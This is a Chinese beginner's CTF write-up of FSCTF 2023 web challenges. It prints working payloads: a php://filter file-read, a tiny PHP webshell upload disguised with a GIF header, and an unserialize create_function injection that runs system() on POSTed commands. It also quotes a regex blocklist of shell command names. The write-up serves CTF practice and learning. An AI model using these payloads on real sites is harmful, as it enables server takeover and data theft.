新手大白话 FSCTF 2023刷题记录2
巴巴托斯
进入页面发现提示我们要使用FSCTF Browser,利用burpsuite进行抓包,改User-Agent: FSCTF Browser,出现提示要本地才能查看,这里有坑,我把X-Forwarded-For相关的试完了都不对,后来看别的wp发现是将Referer改为127.0.0.1,真是无语。更无语的在后边,都绕过后发现就一张图,什么都没有,后来在burp发现get参数为file=???,这不就是文件包含吗,直接伪协议试试,php://filter/convert.base64-encode/resource=flag.php,直接出。为什么要直接用flag.php,因为一般名字不久那几个。
寻找蛛丝马迹
1.源码发现
2.查看css
3.js文件
4.robots.txt
5.提示苹果 .DS_store 因为在苹果系统下大部分文件夹都包含这个文件
6.dirmap扫目录发现www.zip
是兄弟,就来传你の🐎!
文件上传题目,直接传码试试,发现php被过滤,mime可能也是,利用正常的其他php后缀格式进行绕过,发现pht可以绕过,但是有提示说长度不能超过15,那么直接上payload
点击查看代码
GIF<?=`nl /f*`;
点击查看代码
<?=XXXXX; 就是最短php的形式GIF是绕过文件内容头部检测。
签到plus
进入页面发现404了,直接扫目录发现shell.php文件,直接访问是php探针页面,在里面有个坑就是flag为假的,这时我们想到题目服务器被黑客接管了,看看有没有源码泄露之类的,在http头部发现php版本<=7.4.21,那就是development server源码泄露。其实这里我也没想出来,因为一般的的源码泄露是git,vim等。
利用exp进行攻击得到响应包,是不是发现眼熟。这里不做多解释。
CanCanNeed
进入页面发现源码
点击查看代码
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
点击查看代码
payload:
<?php
class Noteasy{
protected $param1 = "create_function";
protected $param2 = "};system(\$_POST[cmd]);//";
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b); // 这里就变为了create_function('');system(\$_POST[cmd]);//); //在php里面是注释符,后面的不执行,这样就将一句话变为了两句话。仔细看create_function的定义,它里边有一个lambda的匿名函数。
}
}
}
$a = new Noteasy();
echo base64_encode(serialize($a));
加速加速
做了半天没做出来,条件竞争会点,在上传时怎么一直传不上去,直接看wp吧。https://blog.csdn.net/XXokok/article/details/134064255?spm=1001.2014.3001.5501
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 【.NET】调用本地 Deepseek 模型
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库